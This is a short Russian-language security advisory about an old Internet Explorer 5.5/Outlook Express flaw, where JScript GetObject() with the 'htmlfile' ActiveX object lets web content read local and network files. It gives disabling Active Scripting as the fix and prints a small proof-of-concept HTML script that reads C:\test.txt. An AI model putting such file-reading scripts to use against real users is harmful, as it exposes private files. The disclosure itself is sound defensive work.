Подвержены ошибке:
IE 5.5, Outlook Express,(вероятно Outlook 😉 - Win98/2000.

Описание:
Internet Explorer 5.5/Outlook Express/(вероятно Outlook,если Active Scripting разрешено) под Windows 98/2000 (предполагается, что все другие версии тоже подвержены ошибке) позволяют читать локальные файлы и UNC файлы удаленно.

Детали:
Проблема содержится в GetObject() JScript функции и в объекте "htmlfile" ActiveX.
Вызов a=GetObject("c:\\test.txt","htmlfile") создает html документ с полным доступом к этому файлу.

Решение проблемы: Запрещаем Active Scripting.

Вот html код:
------getobject1.html--------------------------------



<SCRIPT>
alert("Этот скрипт прочитает C:\\TEST.TXT\ Так что создай его");

a=GetObject("c:\\test.txt","htmlfile");

setTimeout("alert(a.body.innerText);",2000);

</SCRIPT>

-----------------------------------------------------

А вот реальная демонстрация

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии